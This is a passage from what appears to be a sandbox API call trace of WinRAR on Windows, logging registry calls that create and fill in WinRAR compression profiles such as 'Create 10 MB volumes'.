RegCloseKey (hKey=0x164) returned 0x0 [0052.343] GetLastError () returned 0x0 [0052.343] SetLastError (dwErrCode=0x0) [0052.343] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.343] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.343] RegCloseKey (hKey=0x164) returned 0x0 [0052.343] GetLastError () returned 0x0 [0052.343] SetLastError (dwErrCode=0x0) [0052.343] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.343] RegSetValueExW (in: hKey=0x164, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.343] RegCloseKey (hKey=0x164) returned 0x0 [0052.343] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.343] RegSetValueExW (in: hKey=0x164, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0x18b090*, cbData=0xc0 | out: lpData=0x18b090*) returned 0x0 [0052.343] RegCloseKey (hKey=0x164) returned 0x0 [0052.343] GetCurrentProcess () returned 0xffffffffffffffff [0052.343] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698 | out: lpProcessAffinityMask=0x18c690, lpSystemAffinityMask=0x18c698) returned 1 [0052.343] GetCurrentProcess () returned 0xffffffffffffffff [0052.343] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8 | out: lpProcessAffinityMask=0x18c6f0, lpSystemAffinityMask=0x18c6f8) returned 1 [0052.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x18c2a0 | out: phkResult=0x18c2a0*=0x164) returned 0x0 [0052.344] RegQueryValueExW (in: hKey=0x164, lpValueName="SMP", lpReserved=0x0, lpType=0x18c704, lpData=0x18c700, lpcbData=0x18c738*=0x4 | out: lpType=0x18c704*=0x0, lpData=0x18c700*=0x1, lpcbData=0x18c738*=0x4) returned 0x2 [0052.344] RegCloseKey (hKey=0x164) returned 0x0 [0052.344] LoadStringW (in: hInstance=0x13f160000, uID=0x3f9, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="Create 10 MB volumes") returned 0x14 [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.344] RegCloseKey (hKey=0x164) returned 0x0 [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.344] RegCloseKey (hKey=0x164) returned 0x0 [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x164) returned 0x0 [0052.344] RegCloseKey (hKey=0x164) returned 0x0 [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.344] GetLastError () returned 0x0 [0052.344] SetLastError (dwErrCode=0x0) [0052.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0x189fb0 | out: phkResult=0x189fb0*=0x0) returned 0x2 [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.345] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Default Profile", lpcbData=0x18a790*=0x20) returned 0x0 [0052.345] RegCloseKey (hKey=0x164) returned 0x0 [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.345] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Create e-mail attachment", lpcbData=0x18a790*=0x32) returned 0x0 [0052.345] RegCloseKey (hKey=0x164) returned 0x0 [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x9, phkResult=0x18a330 | out: phkResult=0x18a330*=0x164) returned 0x0 [0052.345] RegQueryValueExW (in: hKey=0x164, lpValueName="Name", lpReserved=0x0, lpType=0x18a794, lpData=0x18b300, lpcbData=0x18a790*=0x400 | out: lpType=0x18a794*=0x1, lpData="Backup selected files", lpcbData=0x18a790*=0x2c) returned 0x0 [0052.345] RegCloseKey (hKey=0x164) returned 0x0 [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] GetLastError () returned 0x0 [0052.345] SetLastError (dwErrCode=0x0) [0052.345] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x1) returned 0x0 [0052.345] RegSetValueExW (in: hKey=0x164, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="Create 10 MB volumes", cbData=0x2a | out: lpData="Create 10 MB volumes") returned 0x0 [0052.346] RegCloseKey (hKey=0x164) returned 0x0 [0052.346] GetLastError () returned 0x0 [0052.346] SetLastError (dwErrCode=0x0) [0052.346] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.346] RegSetValueExW (in: hKey=0x164, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.346] RegCloseKey (hKey=0x164) returned 0x0 [0052.346] GetLastError () returned 0x0 [0052.346] SetLastError (dwErrCode=0x0) [0052.346] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.346] RegDeleteValueW (hKey=0x164, lpValueName="ArcName") returned 0x2 [0052.346] RegCloseKey (hKey=0x164) returned 0x0 [0052.346] GetLastError () returned 0x0 [0052.346] SetLastError (dwErrCode=0x0) [0052.346] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.346] RegDeleteValueW (hKey=0x164, lpValueName="FileNames") returned 0x2 [0052.346] RegCloseKey (hKey=0x164) returned 0x0 [0052.346] GetLastError () returned 0x0 [0052.346] SetLastError (dwErrCode=0x0) [0052.346] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.346] RegSetValueExW (in: hKey=0x164, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.346] RegCloseKey (hKey=0x164) returned 0x0 [0052.346] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.346] GetLastError () returned 0x0 [0052.346] SetLastError (dwErrCode=0x0) [0052.346] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.347] RegSetValueExW (in: hKey=0x164, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.347] RegCloseKey (hKey=0x164) returned 0x0 [0052.347] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x2) returned 0x1eb090 [0052.347] GetLastError () returned 0x0 [0052.347] SetLastError (dwErrCode=0x0) [0052.347] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.347] RegSetValueExW (in: hKey=0x164, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.347] RegCloseKey (hKey=0x164) returned 0x0 [0052.347] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb090 | out: hHeap=0x1b0000) returned 1 [0052.347] GetLastError () returned 0x0 [0052.347] SetLastError (dwErrCode=0x0) [0052.347] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.347] RegSetValueExW (in: hKey=0x164, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.347] RegCloseKey (hKey=0x164) returned 0x0 [0052.347] GetLastError () returned 0x0 [0052.347] SetLastError (dwErrCode=0x0) [0052.347] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.347] RegSetValueExW (in: hKey=0x164, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.347] RegCloseKey (hKey=0x164) returned 0x0 [0052.347] GetLastError () returned 0x0 [0052.347] SetLastError (dwErrCode=0x0) [0052.347] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.347] RegSetValueExW (in: hKey=0x164, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.348] GetLastError () returned 0x0 [0052.348] SetLastError (dwErrCode=0x0) [0052.348] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x20006, phkResult=0x18ac00 | out: phkResult=0x18ac00*=0x164) returned 0x0 [0052.348] RegDeleteValueW (hKey=0x164, lpValueName="SFX") returned 0x2 [0052.348] GetLastError () returned 0x0 [0052.348] SetLastError (dwErrCode=0x0) [0052.348] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.348] RegSetValueExW (in: hKey=0x164, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.348] GetLastError () returned 0x0 [0052.348] SetLastError (dwErrCode=0x0) [0052.348] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.348] RegSetValueExW (in: hKey=0x164, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.348] GetLastError () returned 0x0 [0052.348] SetLastError (dwErrCode=0x0) [0052.348] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.348] RegSetValueExW (in: hKey=0x164, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.348] GetLastError () returned 0x0 [0052.348] SetLastError (dwErrCode=0x0) [0052.349] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.349] RegSetValueExW (in: hKey=0x164, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.349] GetLastError () returned 0x0 [0052.349] SetLastError (dwErrCode=0x0) [0052.349] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, lpdwDisposition=0x18ab70 | out: phkResult=0x18ab78*=0x164, lpdwDisposition=0x18ab70*=0x2) returned 0x0 [0052.349] RegSetValueExW (in: hKey=0x164, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x2 | out: lpData=0x13f26f128*) returned 0x0 [0052.349] RegCloseKey (hKey=0x164) returned 0x0 [0052.349] GetLastError () returned 0x0 [0052.349] SetLastError (dwErrCode=0x0) [0052.349] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.349] RegSetValueExW (in: hKey=0x164, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="10485760", cbData=0x12 | out: lpData="10485760") returned 0x0 [0052.349] RegCloseKey (hKey=0x164) returned 0x0 [0052.349] GetLastError () returned 0x0 [0052.349] SetLastError (dwErrCode=0x0) [0052.349] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.349] RegSetValueExW (in: hKey=0x164, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2, cbData=0x4 | out: lpData=0x18b058*=0x2) returned 0x0 [0052.349] RegCloseKey (hKey=0x164) returned 0x0 [0052.349] GetLastError () returned 0x0 [0052.349] SetLastError (dwErrCode=0x0) [0052.349] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.349] RegSetValueExW (in: hKey=0x164, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.350] RegCloseKey (hKey=0x164) returned 0x0 [0052.350] GetLastError () returned 0x0 [0052.350] SetLastError (dwErrCode=0x0) [0052.350] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.350] RegSetValueExW (in: hKey=0x164, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.350] RegCloseKey (hKey=0x164) returned 0x0 [0052.350] GetLastError () returned 0x0 [0052.350] SetLastError (dwErrCode=0x0) [0052.350] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.350] RegSetValueExW (in: hKey=0x164, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.350] RegCloseKey (hKey=0x164) returned 0x0 [0052.350] GetLastError () returned 0x0 [0052.350] SetLastError (dwErrCode=0x0) [0052.350] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.350] RegSetValueExW (in: hKey=0x164, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.350] RegCloseKey (hKey=0x164) returned 0x0 [0052.350] GetLastError () returned 0x0 [0052.350] SetLastError (dwErrCode=0x0) [0052.350] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.350] RegSetValueExW (in: hKey=0x164, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.350] RegCloseKey (hKey=0x164) returned 0x0 [0052.350] GetLastError () returned 0x0 [0052.350] SetLastError (dwErrCode=0x0) [0052.351] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.351] RegSetValueExW (in: hKey=0x164, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.351] RegCloseKey (hKey=0x164) returned 0x0 [0052.351] GetLastError () returned 0x0 [0052.351] SetLastError (dwErrCode=0x0) [0052.351] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.351] RegSetValueExW (in: hKey=0x164, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.351] RegCloseKey (hKey=0x164) returned 0x0 [0052.351] GetLastError () returned 0x0 [0052.351] SetLastError (dwErrCode=0x0) [0052.351] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.351] RegSetValueExW (in: hKey=0x164, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.351] RegCloseKey (hKey=0x164) returned 0x0 [0052.351] GetLastError () returned 0x0 [0052.351] SetLastError (dwErrCode=0x0) [0052.351] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.351] RegSetValueExW (in: hKey=0x164, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.351] RegCloseKey (hKey=0x164) returned 0x0 [0052.351] GetLastError () returned 0x0 [0052.351] SetLastError (dwErrCode=0x0) [0052.351] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.351] RegSetValueExW (in: hKey=0x164, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.351] RegCloseKey (hKey=0x164) returned 0x0 [0052.352] GetLastError () returned 0x0 [0052.352] SetLastError (dwErrCode=0x0) [0052.352] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.352] RegSetValueExW (in: hKey=0x164, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.352] RegCloseKey (hKey=0x164) returned 0x0 [0052.352] GetLastError () returned 0x0 [0052.352] SetLastError (dwErrCode=0x0) [0052.352] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.352] RegSetValueExW (in: hKey=0x164, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.352] RegCloseKey (hKey=0x164) returned 0x0 [0052.352] GetLastError () returned 0x0 [0052.352] SetLastError (dwErrCode=0x0) [0052.352] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.352] RegSetValueExW (in: hKey=0x164, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.352] RegCloseKey (hKey=0x164) returned 0x0 [0052.352] GetLastError () returned 0x0 [0052.352] SetLastError (dwErrCode=0x0) [0052.352] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.353] RegSetValueExW (in: hKey=0x164, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.353] RegCloseKey (hKey=0x164) returned 0x0 [0052.353] GetLastError () returned 0x0 [0052.353] SetLastError (dwErrCode=0x0) [0052.353] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", 